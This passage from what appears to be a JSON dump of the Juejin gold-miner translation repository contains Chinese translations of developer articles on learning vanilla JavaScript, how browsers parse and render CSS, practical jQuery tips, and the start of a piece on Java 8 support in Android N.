开发者的[过程](https://ideas.ataccama.com/i-stopped-being-a-lawyer-became-a-developer-and-its-awesome-5311e8d74882#.v3xurb9v5)，从我开始写第一个 JavaScript 函数算起，都有 18 个月了，并且现在是我成为专业前端开发者的第 10 个月了。\n\n我依然记得摸索正确的 JavaScript 学习之路对我来说是多么地有挑战性，因为我之前没有任何的编程经验。我尝试过（至今还在尝试）许多不同的方法成为一名高效的学习者，有些方法会让我收获很多，有些却较少。\n\n最重要的是，开始的时候我把重点放在了学习原生 JavaScript 上面，这对我的帮助太不可思议了。**接下来是框架。**\n\n![](https://cdn-images-1.medium.com/max/1600/1*ixM8cuSIabPQ5Wlj0rgsVQ.jpeg)\n\n[picture credit](https://www.keepcalm-o-matic.co.uk/p/keep-calm-and-learn-javascript/)\n现在，我在工作中用的是 [React](https://facebook.github.io/react/)-[Redux](http://redux.js.org/) 技术栈。即便如此，我经常能用原生 JavaScript 的知识解决眼下的一些问题。如果只具备某个框架的知识，这些 bugs 解决起来将会更具挑战性。\n\n学习 React 或 Angular 2 不会教你对象是通过引用传递或闭包是怎样工作的。在更加抽象的框架下，尝试去理解这些概念那就更加困难了。这就使简单的 JavaScript 概念变得更难以理解。\n\n此外，如果你工作中用的是 [JSX](https://facebook.github.io/react/docs/jsx-in-depth.html) (React, Vue, Inferno) 或 [TypeScript](https://www.typescriptlang.org/) (Angular 2)，那你还有另一层的抽象层。\n\n如果你想明白这些框架背后是怎样工作的，你需要先明白 JavaScript 本身是怎样工作的。\n\n你可以通过阅读自己喜欢的框架的源代码**考考自己**对原生 JavaScript 的认识。这样不仅能够呈现一副这些框架背后工作的画面给你，同时也能教会你许多逻辑，顺便还可以用到工作中。你会看到框架里的函数貌似在你的应用中施了很多魔法，但其实这只是一些 JavaScript 基本概念的组合。\n\n### 给我一些可以去学习的东西\n\n你现在可能会问“哪些是能够帮助我学习原生 JavaScript 知识的好资源？”。\n\n现在已经有太多关于 JavaScript 及其框架的课程和书籍。但只有少数是全面地教你理解原生 JavaScript 的，大多数还是专注于某个具体的 JavaScript 技术。\n\n但依然还是存在好资源的…\n\n![](https://cdn-images-1.medium.com/max/1600/1*xPqexrgvo6HsgWM28Bw1-Q.jpeg)\n\n《[JavaScript 编程精解](http://eloquentjavascript.net/)》不仅会教你基本的 JavaScript，同时也会教你广泛适用的编程技巧。如果你已经是一名高级开发者，这本书会向你提供一个关于 JavaScript 和它的核心原则的新视角。\n\n另外一个非常不错的资源是 Kyle Simpson 写的《[你不知道的 JavaScript](https://github.com/getify/You-Dont-Know-JS)》。Kyle 真的知道如何去施教，关于高级的 JavaScript 概念对初学者解释得很友好，并且他将它们涵盖的很深。仅仅是这几本书的标题就已经告诉你要去学习什么，“Up & Going”、“Scope & Closures”、“this & Object Prototypes”、“Types & Grammar”、“Async & Performance”、“ES6 & Beyond”。现在已经有第七册书，名字叫 [JavaScript 中的函数式编程](https://github.com/getify/Functional-Light-JS)。\n\n《JavaScript 编程精解》和《你不知道的 JavaScript》这两套书共同的好处就是**你都可以免费获得**（查看给出的链接）。但如果你发现它们对你很有帮助，别忘记通过购买它们以对作者表示支持。\n\n如果你更倾向于看视频学习，你可以观看[ Kyle 的在线课](https://frontendmasters.com/kyle-simpson/)，我觉得最好把看视频作为是看书的辅助学习，因为这些主题都是一样的。当然啦，这些课程都是免费的。\n\n另一个我觉得有帮助的视频教程是 Anthony Alicea 的 [Javascript: Understanding the Weird Parts](https://www.udemy.com/understand-javascript/)。这个教程以循序渐进的方式解释了 JavaScript 背后发生的事，同时这门教程涵盖了诸如原型继承、函数式编程和作用域链的高级概念。\n\n### 马上学习原生 JavaScript 吧\n\n如果你之前投入过时间学习原生 JavaScript，那你肯定不会后悔。不仅仅是因为**原生**，同时也是因为这会对你日后的编程技巧有好的影响。\n\n对我来说，最好的权衡是相对于花时间学习一门指定的框架，学习原生 JavaScript 会在未来带给你更多好处。框架只是捷径，背后其实都是 JavaScript。\n\n当你用上某个框架，并在某个地方出现异常时你就会明白了，在这种情况下，你会被迫通过浏览源代码去调查这个 bug。我是不是提到过，虽然许多框架欠缺得体的文档，但它们却有复杂的代码？但是，小菜一碟，对吗？你肯定已经花了很多时间学习原生 JavaScript 了？还是没有？\n\n从这篇文章中你应该记住一件事：\n\n牢牢记住原生 JavaScript 会帮助你成为一名更好的开发者。完\n\n![](https://cdn-images-1.medium.com/max/1600/1*-0-CNkI704V7s879GpF86w.jpeg)\n\n如果你喜欢这篇文章，鼓个掌吧，我会很感激你的。\n\nTwitter 见 😊\n\n[![](https://ws4.sinaimg.cn/large/006tKfTcgy1fiv00i5jlnj314i0a60uk.jpg)](https://twitter.com/coding_lawyer)\n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/its-not-dark-magic-pulling-back-the-curtains-from-your-stylesheets.md",
    "content": "> * 原文地址：[CSS Isn’t Black Magic](https://medium.freecodecamp.org/its-not-dark-magic-pulling-back-the-curtains-from-your-stylesheets-c8d677fa21b2)\n> * 原文作者：[aimeemarieknight](https://medium.freecodecamp.org/@aimeemarieknight)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/its-not-dark-magic-pulling-back-the-curtains-from-your-stylesheets.md](https://github.com/xitu/gold-miner/blob/master/TODO/its-not-dark-magic-pulling-back-the-curtains-from-your-stylesheets.md)\n> * 译者：[吃土小2叉](https://github.com/xunge0613)\n> * 校对者：[薛定谔的猫](https://github.com/Aladdin-ADD)、[LeviDing](https://github.com/leviding)\n\n# CSS 才不是什么黑魔法呢\n\n## 一起来揭开 CSS 的神秘面纱\n\n![](https://cdn-images-1.medium.com/max/1600/1*TqpR80LFFl09NnOpISdXJg.jpeg)\n\n如果你是一名 web 开发者，你可能会时不时地写一些 CSS。\n\n当你第一次接触 CSS 时，似乎觉得 CSS 轻而易举。加边框，改颜色，小菜一碟。JavaScript 才是前端开发的难点，不是吗？\n\n但是在你 web 开发生涯中的某天，这个想法变了！更糟糕的是，许多前端社区的开发者早已把 CSS 轻视为一门玩具语言。\n\n然而，事实却是当我们碰壁时，我们中的许多人实际上未曾深入了解我们编写的 CSS 做了什么。\n\n在我接受前端培训后的头两年，我曾从事全栈 JavaScript 开发，偶尔写一点点 CSS。作为 [JavaScript Jabber](https://devchat.tv/js-jabber/my-js-story-aimee-knight) 评委会的一员，我一直认为 JavaScript 才是我吃饭的家伙，所以大部分时间我都花在 JavaScript 上。\n\n然而直到去年，当我决定专注于前端时，才意识到根本无法像调试 JavaScript 那样轻松地调试 CSS！\n\n我们都喜欢拿 CSS 开玩笑，但是我们中有多少人真的花时间去尝试理解我们正在编写或正在阅读的 CSS。当我们碰壁时，我们有多少人在解决问题的同时，会深入最底层（看看发生了什么）？ 相反，我们止步于照搬 StackOverflow 上票数最高的答案，或者用一些黑科技（hack）手段随便应付一下，或者我们干脆撒手不管了：那是一个 feature 而不是一个 bug。\n\n当浏览器以非预期的方式呈现 CSS 时，开发者常常感到非常困惑。但是 CSS 并不是黑魔法，而作为开发者，我们都明白计算机只会按照我们的指令去执行。\n\n学习浏览器的内部工作原理将有助于掌握高级调试技巧和性能优化方案。虽然许多会议的演讲会讨论如何修复常见的 bug，但我的演讲（和这篇文章）的重点在于为什么会有这些 bug，为此我将深入介绍浏览器内部原理，看看我们的 CSS 是如何被解析和呈现。\n\n### DOM 与 CSSOM\n\n首先，了解浏览器包含 JavaScript 引擎和渲染引擎非常重要，而本文将重点关注后者。例如，我们将讨论涉及 WebKit（Safari），Blink（Chrome），Gecko（Firefox）和 Trident / EdgeHTML（IE / Edge）的细节。浏览器将经历包括转换、标记化、词法分析和解析的过程，最终构建 DOM 和 CSSOM。（译注：CSSOM 即 CSS Object Model，定义了媒体查询，选择器和 CSS 本身的 API，这些 API 包括了通用解析和序列化规则，传送门：[CSSOM](https://www.w3.org/TR/cssom-1/)）\n\n这一过程大致可以分为以下几个步骤：\n\n- **转换**：从磁盘或网络读取 HTML 和 CSS 的原始字节。\n- **标记化**： 将输入内容分解成一个个有效标记（例如：起始标签、结束标签、属性名、属性值），分离无关字符（如空格和换行符）。\n- **词法分析**：和 tokenizer（标记生成器）类似，但它还标记每个 token 的类型（类型包括：数字、字符串字面量、相等运算符等等）。\n- **解析**： 解析器接收词法分析器传递的 tokens，并尝试将其与某条语法规则进行匹配，匹配成功后将之添加到抽象语法树中。\n\n一旦 DOM 树和 CSSOM 树创建完毕，渲染引擎就会将数据结构附加到所谓的渲染树中，并作为布局过程的一部分。\n\n渲染树是文档的可视化表现形式，它按照正确的顺序绘制页面的内容。渲染树的构造过程遵循以下顺序：\n\n- 从 DOM 树的根节点开始，遍历每个可见节点\n- 忽略不可见的节点\n- 对于每个可见节点，找到合适的与 CSSOM 匹配的规则并应用它们\n- 发送包含内容和计算样式的可见节点\n- 最后，在屏幕上输出包含所有可见元素的内容和样式信息的渲染树。\n\nCSSOM 可以对渲染树产生很大的影响，但不会影响到 DOM 树。\n\n### 渲染\n\n经历了布局和渲染树构建后，浏览器终于要开始将网页绘制到屏幕上并合成图层。\n\n- **布局**：包括计算一个元素占用的空间以及它在屏幕上的位置。父元素可以影响子元素布局，某些情况下子元素也会反过来影响父元素。\n- **绘制**：将渲染树中的每个节点转换为屏幕上的实际像素的过程。它涉及绘制文本、颜色、图像、边框和阴影。绘图通常在多个图层上完成，另外由于加载、执行 JavaScript 而改变了 DOM 会导致多次绘制 。\n- **合成**：将所有图层合并在一个图层，作为最终屏幕上可见图层的过程。由于页面的各个部分可以绘制成多层，所以需要以正确的顺序绘制到屏幕上。\n\n绘制时间取决于渲染树结构，元素的 `width` 和 `height` 的值越大，绘制时间就越长。\n\n添加各种特效同样会增加绘画时间。绘制的顺序是按照元素进入层叠上下文的顺序（从后往前绘制），稍后我们再谈谈 `z-index`。如果你喜欢看视频教程，有一个很棒的关于绘制过程的 [demo](https://www.youtube.com/watch?v=ZTnIxIA5KGw)。\n\n当人们在谈论浏览器的硬件加速时，绝大多数都是指加速“合成”过程，也就是意味着使用 GPU 来合成网页的内容。\n\n与使用计算机 CPU 进行合成的旧方式相比，使用 GPU 能带来相当多的速度提升，而合理利用 `will-change` 这一属性有助于此。（译注：`will-change` 相关资料传送门 [will-change MDN](https://developer.mozilla.org/zh-CN/docs/Web/CSS/will-change) 、[Everything You Need to Know About the CSS will-change Property](https://dev.opera.com/articles/css-will-change-property/)）\n\n举个例子：在使用 CSS `transform` 属性时，`will-change` 属性能提前告知浏览器 DOM 元素接下来会有哪些变化。这可以将一些绘制和合成操作移交给 GPU，从而大大提高有大量动画的页面的性能。使用 `will-change` 属性，对于滚动位置变化、内容变化、不透明度变化以及绝对定位坐标位置变化也有类似的性能收益。\n\n有必要了解一件事：某些 CSS 属性将导致重新布局，而其他属性只会导致重新绘制。当然出于性能考虑，最好只触发重绘。\n\n举个例子：元素的颜色改变后，只会对该元素进行重绘。而元素的位置改变后，会对该元素及其子元素（可能还有同级元素）进行布局和重绘。添加 DOM 节点后，会对该节点进行布局和重绘。一些重大变化（例如增大 `html` 元素的字体）会导致整个渲染树进行重新布局和绘制。\n\n如果你像我一样，比起 CSSOM 更熟悉 DOM，那么让我们来深入了解一下 CSSOM。请务必注意，默认情况下，CSS 会被视为阻塞渲染资源。这意味着浏览器在构建完 CSSOM 之前，将挂起任何其它进程的渲染。\n\nCSSOM 和 DOM 并不是一一对应的。具有 `dispay:none` 属性的元素、`<script>` 标签、`<meta>` 标签、`<head>` 元素等等不可见的 DOM 元素不会显示在渲染树中。\n\nCSSOM 和 DOM 的另一个区别则在于解析 CSS 使用的是一种上下文无关语法。也就是说，CSS 渲染引擎不会自动补全 CSS 中缺少的语法，然而解析 HTML 创建 DOM 时则刚好相反。\n\n解析 HTML 时，浏览器不得不结合 HTML 标签所在的上下文，而且只遵从 HTML 规范是不够的，因为 HTML 标签可能包含一些缺省的信息，并且无论解析成什么，最终都要渲染出来。（译注：这么做的目的是为了包容开发者的错误，简化 web 开发，例如能省略一些起始或者结束标记等等）\n\n说了那么多，我们来回顾一下：\n\n- 浏览器向服务器发起 HTTP 请求\n- 服务器响应请求，并返回网页数据\n- 浏览器通过标记化将响应数据（字节）转换为 tokens\n- 浏览器将 tokens 转换为节点\n- 浏览器将节点插入 DOM 树\n- 等待构建 CSSOM 树\n\n### 优先级\n\n我们已经深入了解了不少浏览器的工作原理，那么接下来我们来看看一些更常见的开发痛点吧。首先说说优先级。\n\n简单来说，CSS 的优先级是指以正确的层叠顺序应用规则。尽管可以使用多种 CSS 选择器来选中特定的标签，浏览器仍需要一种方式来决定最终哪些样式将会生效。在决策过程中，首先浏览器会计算每个选择器的优先级。\n\n不幸的是，优先级的计算规则难倒了不少 JavaScript 开发者，所以让我们一起深入研究 CSS 优先级的计算规则。我们将使用以下的 html 结构作为例子：有一个类名为 `container` 的 div，在这个 div 里，我们嵌套了另一个 div，它的 id 是 `main`，我们又在这个 div 里嵌套了一个包含 a 标签的 p 标签。别偷看答案，你知道 a 标签的颜色是什么吗？\n\n``` css\n#main a {\n  color: green;\n}\n\np a {\n  color: yellow;\n}\n\n.container #main a {\n  color: pink;\n}\n\ndiv #main p a {\n  color: orange;\n}\n\na {\n  color: red;\n}\n```\n\n（译注：加一段 html 结构顺便防偷看答案 →_→）\n\n``` html\n<div class=\"container\">\n\t<div id=\"main\">\n\t\t<p>\n\t\t\t<a href=\"#\">Test</a>\n\t\t</p>\n\t</div>\n</div>\n```\n\n答案是粉色，它的优先级为：1，1，1。以下是其余选择器的优先级：\n\n- `div #main p a: 1，0，3`\n- `#main a: 1，0，1`\n- `p a: 2`\n- `a: 1`\n\n优先级的每一个数的计算规则如下：\n\n- **第一个数**：ID 选择器的数量\n- **第二个数**：类选择器、属性选择器（不包含：`[type=\"text\"]`, `[rel=\"nofollow\"]`）、以及伪类选择器（不包含：`:hover`, `:visited`）的数量和。\n- **第三个数**：元素选择器与伪元素选择器（不包含: `::before`, `::after`）的数量和。\n\n因此，对于以下选择器：\n\n    #header .navbar li a:visited\n\n该选择器的优先级是：1，2，2。因为我们有 1 个 ID 选择器、1 个类选择器、1 个伪类选择器、还有 2 个元素选择器（`li`、`a`）。你可以把优先级看作一个数字，比如 1，2，2 就是 122。这里的逗号是为了提现你优先级的数值并不是以 10 进制计算的。理论上你可以让一个元素的优先级为：0，1，13，4，其中的 13 并不会像 10 进制那样产生进位。（译注：不会变成 0，2，3，4）  \n \n### 定位\n\n其次，我想花点时间讨论一下定位。正如前文所说的，定位和布局是密切相关的。\n\n布局是一个递归的过程，当全局样式变化的时候，有时会在整个渲染树上（重新）触发布局，有时则仅在局部变化的地方增量更新。有一件有趣的事情值得注意：如果我们重新思考渲染树中的绝对定位元素，该对象在渲染树中的位置和它在 DOM 树中的位置不同的。\n\n我也经常被问及应该使用 `flexbox` 还是 `float` 进行布局。毫无疑问，用 `flexbox` 进行布局相当方便，而且当应用于同一个元素时，`flexbox` 布局将在大约 3.5ms 内呈现，而 `float` 布局可能需要大约 14ms。所以，磨砺你的 CSS 技能所带来的回报不下于磨砺你的 JavaScript 技能的回报。\n\n### Z-Index\n\n最后，我想聊聊 `z-index`。起初 `z-index` 听起来很简单。HTML 文档中的每个元素都可以处在文档的每个其他元素的前面或后面。 而它也只适用于指定了定位方式的元素（译注：即，未被定位，非 `position:static` 的元素）。如果你尝试在没有被定位的元素上设置 `z-index`，则不会起作用。\n\n调试 z-index 问题的关键是理解层叠上下文，并始终从层叠上下文的根元素开始调试。 层叠上下文是 HTML 元素的三维概念，这些 HTML 元素在一条假想的相对于面向视窗（电脑屏幕）的用户的 z 轴上延伸。换句话说，它是一组具有相同父级的元素，在同一个层叠上下文领域，层叠水平值大的那一个覆盖小的那一个。\n\n每个层叠上下文都有一个唯一的 HTML 元素作为其根元素，并且在不涉及 `z-index` 和 `position` 属性时，层叠规则很简单：层叠顺序与元素在 HTML 中出现的顺序相同。（译注：即，新绘制的元素会覆盖之前的元素）\n\n当然，你也可以使用 `z-index` 之外的属性来创建新的层叠上下文，这会导致情况更为复杂。以下属性都会创建新的层叠上下文：\n\n- `opacity` 值不是 1\n- `filter` 值不是 `none`\n- `mix-blend-mode` 值不是 `normal`\n\n顺便提一下，blend mode 决定了指定图层上的像素与其下方图层上的可见像素的混合方式。\n\n`transform` 属性值不为 `none` 的元素同样会创建新的层叠上下文。例如 `scale(1)` 和 `translate3d(0,0,0)`。同样顺便提一下，`scale` 属性是用于调整元素大小的，而 `translate3d` 属性则会启用 GPU 加速让 CSS 动画更为流畅 。\n\n所以，尽管你可能还没有设计师般的眼光，但希望你正向着 CSS 大师迈进！如果你有兴趣了解更多，我整理了一些[学习资源](https://gist.github.com/AimeeKnight/77b36738ec876965c6db5c6d39f4ef4f)。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/jQuery-Tips-Everyone-Should-Know.md",
    "content": "> * 原文链接 : [jquery-tips-everyone-should-know](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know/blob/master/README.md)\n* 原文作者 : [AllThingsSmitty (Matt Smith)](https://github.com/AllThingsSmitty)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Yves X](https://github.com/Yves-X)\n* 校对者: [sqrthree(根号三)](https://github.com/sqrthree)\n* 状态 :  完成\n\n# 人人须知的 jQuery 技巧\n\n这里收集了一些简单的窍门，助你玩转 jQuery。\n\n1. [检查 jQuery 是否加载](#检查-jQuery-是否加载)\n1. [返回顶部按钮](#返回顶部按钮)\n1. [预加载图片](#预加载图片)\n1. [判断图片是否加载完成](#判断图片是否加载完成)\n1. [自动修复失效图片](#自动修复失效图片)\n1. [鼠标悬停切换 class](#鼠标悬停切换-class)\n1. [禁用输入字段](#禁用输入字段)\n1. [阻止链接加载](#阻止链接加载)\n1. [缓存 jQuery 选择器](#缓存-jQuery-选择器)\n1. [切换淡出 / 滑动](#切换淡出--滑动)\n1. [简单的手风琴效果](#简单的手风琴效果)\n1. [使两个 div 等高](#使两个-div-等高)\n1. [在新标签页 / 新窗口打开外部链接](#在新标签页--新窗口打开外部链接)\n1. [通过文本查找元素](#通过文本查找元素)\n1. [在 visibility 属性变化时触发](#在-visibility-属性变化时触发)\n1. [Ajax 调用错误处理](#Ajax-调用错误处理)\n1. [链式插件调用](#链式插件调用)\n\n\n### 检查 jQuery 是否加载\n\n在使用 jQuery 进行任何操作之前，你需要先确认它已经加载：\n```javascript\nif (typeof jQuery == 'undefined') {\n  console.log('jQuery hasn\\'t loaded');\n} else {\n  console.log('jQuery has loaded');\n}\n```\n\n### 返回顶部按钮\n\n利用 jQuery 中的 `animate` 和 `scrollTop` 方法，你无需插件就可以创建简单的 scroll up 效果:\n\n```javascript\n// 返回顶部\n$('a.top').click(function (e) {\n  e.preventDefault();\n  $(document.body).animate({scrollTop: 0}, 800);\n});\n```\n\n```html\n<!-- 设置锚 -->\n<a class=\"top\" href=\"#\">Back to top</a>\n```\n\n调整 `scrollTop` 的值即可改变滚动着陆位置。你实际所做的是在 800 毫秒内不断设置文档主体的位置，直到它滚动到顶部。\n\n### 预加载图片\n\n如果你的网页使用了大量并非立即可见的图片（例如悬停鼠标触发的图片），那么预加载这些图片就显得很有意义了:\n\n```javascript\n$.preloadImages = function () {\n  for (var i = 0; i < arguments.length; i++) {\n    $('<img>').attr('src', arguments[i]);\n  }\n};\n\n$.preloadImages('img/hover-on.png', 'img/hover-off.png');\n```\n\n\n### 判断图片是否加载完成\n\n在有些情况下，为了继续执行脚本，你需要检查图片是否已经完全加载:\n\n```javascript\n$('img').load(function () {\n  console.log('image load successful');\n});\n```\n\n同样，换用一个带有 id 或者 class 属性的 `<img>` 标签，你也可以检查特定图片是否加载完成。\n\n### 自动修复失效图片\n\n如果你在你的网站上发现了失效的图片链接，逐个去替换它们将会是个苦差。这段简单的代码可以很大程度地减轻痛苦：\n\n```javascript\n$('img').on('error', function () {\n  if(!$(this).hasClass('broken-image')) {\n    $(this).prop('src', 'img/broken.png').addClass('broken-image');\n  }\n});\n```\n\n即使你暂无任何失效的链接，添加这段代码也不会有任何损失。\n\n\n### 鼠标悬停切换 class\n\n如果你希望在用户将鼠标悬停在某个可点击元素上时改变它的视觉效果，你可以在该元素被悬停时给它添加一个 class，当鼠标不再悬停时，移除这个 class：\n\n```javascript\n$('.btn').hover(function () {\n  $(this).addClass('hover');\n}, function () {\n  $(this).removeClass('hover');\n});\n```\n\n如果你还寻求_更简单_的途径，可以使用 `toggleClass` 方法，仅需添加必要的 CSS：\n\n```javascript\n$('.btn').hover(function () {\n  $(this).toggleClass('hover');\n});\n```\n\n**注**：在这种情况下，使用 CSS 或许是一个更快速的解决方案，但这种方法仍然值得稍作了解。\n\n\n### 禁用输入字段\n\n有时，你可能希望在用户完成特定操作（例如，勾选“我已阅读条例”的确认框）前禁用表单的提交按钮或禁用其中某个输入框。你可以在你的输入字段上添加 `disabled` 属性，而后你能在需要时启用它：\n\n```javascript\n$('input[type=\"submit\"]').prop('disabled', true);\n```\n\n你只需在输入字段上再次运行 `prop` 方法, 但是这一次把 `disabled` 值改为 `false`：\n\n```javascript\n$('input[type=\"submit\"]').prop('disabled', false);\n```\n\n\n### 阻止链接加载\n\n有时你不希望链接到指定页面或者重载当前页面，而是想让它们干些别的，例如触发其它脚本。这需要在阻止默认动作上做些文章：\n\n```javascript\n$('a.no-link').click(function (e) {\n  e.preventDefault();\n});\n```\n\n\n### 缓存 jQuery 选择器\n\n想想你在项目中一次又一次地写了多少相同的选择器吧。每个 `$('.element')` 都必须查询一次整个 DOM,不管它是否曾这样执行过。作为代替，我们只运行一次选择器，并把结果储存在一个变量中：\n\n```javascript\nvar blocks = $('#blocks').find('li');\n```\n\n现在你能在任何地方使用 `blocks` 变量而无需每次查询 DOM 了:\n\n```javascript\n$('#hideBlocks').click(function () {\n  blocks.fadeOut();\n});\n\n$('#showBlocks').click(function () {\n  blocks.fadeIn();\n});\n```\n\n缓存 jQuery 的选择器是种简单的性能提升。\n\n\n### 切换淡出 / 滑动\n\n淡出和滑动都是我们在 jQuery 中大量使用的效果。你可能只想在用户点击后展现某个元素，此时用 `fadeIn` 和 `slideDown` 方法就很完美。但是如果你希望这个元素在首次点击时出现，在再次点击时消失，这段代码就很有用了：\n\n```javascript\n// 淡出\n$('.btn').click(function () {\n  $('.element').fadeToggle('slow');\n});\n\n// 切换\n$('.btn').click(function () {\n  $('.element').slideToggle('slow');\n});\n```\n\n\n### 简单的手风琴效果\n\n这是一个快速实现手风琴效果的简单方法:\n\n```javascript\n// 关闭所有面板\n$('#accordion').find('.content').hide();\n\n// 手风琴效果\n$('#accordion').find('.accordion-header').click(function () {\n  var next = $(this).next();\n  next.slideToggle('fast');\n  $('.content').not(next).slideUp('fast');\n  return false;\n});\n```\n\n通过添加这段脚本，你实际要做的只是提供必要的 HTML 元素以便它正常运行。\n\n\n### 使两个 div 等高\n\n有时你希望无论两个 div 各自包含什么内容，它们总有相同的高度：\n\n```javascript\n$('.div').css('min-height', $('.main-div').height());\n```\n\n这个例子设置了 `min-height`，意味着高度可以大于主 div 而不能小于它。然而，更灵活的方法是遍历一组元素，然后将高度设置为最高元素的高度：\n\n```javascript\nvar $columns = $('.column');\nvar height = 0;\n$columns.each(function () {\n  if ($(this).height() > height) {\n    height = $(this).height();\n  }\n});\n$columns.height(height);\n```\n\n如果你希望_所有_列高度相同：\n\n```javascript\nvar $rows = $('.same-height-columns');\n$rows.each(function () {\n  $(this).find('.column').height($(this).height());\n});\n```\n\n\n### 在新标签页 / 新窗口打开外部链接\n\n在一个新的浏览器标签页或窗口中打开外部链接，并确保相同来源的链接在同一个标签页或者窗口中打开：\n\n```javascript\n$('a[href^=\"http\"]').attr('target', '_blank');\n$('a[href^=\"//\"]').attr('target', '_blank');\n$('a[href^=\"' + window.location.origin + '\"]').attr('target', '_self');\n```\n\n**注：** `window.location.origin` 在 IE10 中不可用. [这个修复方案](http://tosbourn.com/a-fix-for-window-location-origin-in-internet-explorer/) 正是关注于该问题。\n\n\n### 通过文本查找元素\n\n通过使用 jQuery 的 `contains()` 选择器，你能够查找元素内容中的文本。若文本不存在，该元素将被隐藏：\n\n```javascript\nvar search = $('#search').val();\n$('div:not(:contains(\"' + search + '\"))').hide();\n```\n\n### 在 visibility 属性变化时触发\n\n当用户的焦点离开或者重新回到某个标签页时，触发 Javasrcipt：\n\n```javascript\n$(document).on('visibilitychange', function (e) {\n  if (e.target.visibilityState === \"visible\") {\n    console.log('Tab is now in view!');\n  } else if (e.target.visibilityState === \"hidden\") {\n    console.log('Tab is now hidden!');\n  }\n});\n```\n\n\n### Ajax 调用错误处理\n\n当一个 Ajax 调用返回 404 或 500 错误时，错误处理程序将被执行。若错误处理未被定义，其它 jQuery 代码可能不再有效。所以定义一个全局的 Ajax 错误处理：\n\n```javascript\n$(document).ajaxError(function (e, xhr, settings, error) {\n  console.log(error);\n});\n```\n\n\n### 链式插件调用\n\njQuery 允许通过“链式”插件调用的方法，来缓解反复查询 DOM 和创建多个 jQuery 对象的过程。例如，下面的代码代表着你的插件调用：\n\n```javascript\n$('#elem').show();\n$('#elem').html('bla');\n$('#elem').otherStuff();\n```\n\n通过使用链式操作，有了显著的改善:\n\n```javascript\n$('#elem')\n  .show()\n  .html('bla')\n  .otherStuff();\n```\n\n另一种方法是在变量（以 `$` 为前缀）中，对元素进行缓存：\n\n```javascript\nvar $elem = $('#elem');\n$elem.hide();\n$elem.html('bla');\n$elem.otherStuff();\n```\n\n无论是链式操作，还是缓存元素，都是 jQuery 中用以简化和优化代码的最佳实践。\n"
  },
  {
    "path": "TODO/java-8-in-android-n-preview.md",
    "content": ">* 原文链接 : [Java 8 in Android N Preview](https://medium.com/@sergii/java-8-in-android-n-preview-76184e2ab7ad#.ywf5x3l8w)\n* 原文作者 : [Sergii Zhuk](https://medium.com/@sergii)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [markzhai](https://github.com/markzhai)\n* 校对者: [narcotics726](https://github.com/narcotics726), [MiJack](https://github.com/MiJack)\n\n# 在 Android N 预览版中使用 Java 8 的新特性\n\nAndroid团队最近发布了Android N Preview，带来了很多提升，包括由Jack编译器提供的Java 8支持。在这篇文章中，我们将来看看它究竟对Android开发者意味着什么，以及如何尝试新的语言特性。\n\n> _免责声明: 本信息在2016年3月30日是有效的，我不确定在下个release版本中，Google团队会增加什么新的没有在此提到的Java 8特性。_\n\n![](https://cdn-images-1.medium.com/max/800/1*0Vex_2H0J7MBBiu1EqMtaw.png)\n\n<figcaption>图片 by [Android Police<sup class=\"readableLinkFootnote\"></sup>](http://www.androidpolice.com/2016/03/09/android-n-feature-spotlight-jack-compiler-gains-support-for-many-java-8-language-features-including-lambdas-streams-functional-interfaces-and-more/)</figcaption>\n\n### 概览\n\n在这篇文章中，去介绍Oracle Java 8的新特性并没有太大意义 —— 很多信息已经在互联网上有了。我个人最喜欢的是Simon Ritter的“[Java SE 8的55个新特性<sup class=\"readableLinkFootnote\"></sup>](https://www.youtube.com/watch?v=rtAredKhyac)”。\n\n另一方面，Android [官方的Java 8公告<sup class=\"readableLinkFootnote\"></sup>](http://android-developers.blogspot.de/2016/03/first-preview-of-android-n-developer.html) 留下了很多开放的问题给开发者们，感觉上并非所有的原生 Java 8 功能都是可用的。更详细的 [技术公告<sup class=\"readableLinkFootnote\"></sup>](http://developer.android.com/intl/ru/preview/j8-jack.html) 确认了这一点。我们可以根据在 Android N 中的可用性，将这些语言特性分类如下：\n\nAndroid Gingebread (API 9)及以上:\n\n*   [Lambda 表达式](https://docs.oracle.com/javase/tutorial/java/javaOO/lambdaexpressions.html)\n*   [java.util.function](https://docs.oracle.com/javase/8/docs/api/java/util/function/package-summary.html)\n\nAndroid N及以上:\n\n*   [默认和静态interface方法](https://docs.oracle.com/javase/tutorial/java/IandI/defaultmethods.html)\n*   [可重复的注解](https://docs.oracle.com/javase/tutorial/java/annotations/repeating.html)\n*   [流(Streams)](http://www.oracle.com/technetwork/articles/java/ma14-java-se-8-streams-2177646.html)\n*   反射APIs\n\n所以对Java 8特性和使用的minSdkVersion之间的关联性，开发者必须去精心选择。我们也必须注意到语言向后兼容是由Jack编译器提供的。在概念上，Jack编译器将javac，ProGuard，以及dex的功能 [合并 <sup class=\"readableLinkFootnote\"></sup>](https://www.guardsquare.com/blog/the_upcoming_jack_and_jill_compilers_in_android)到了一个转换步骤中。[这意味着<sup 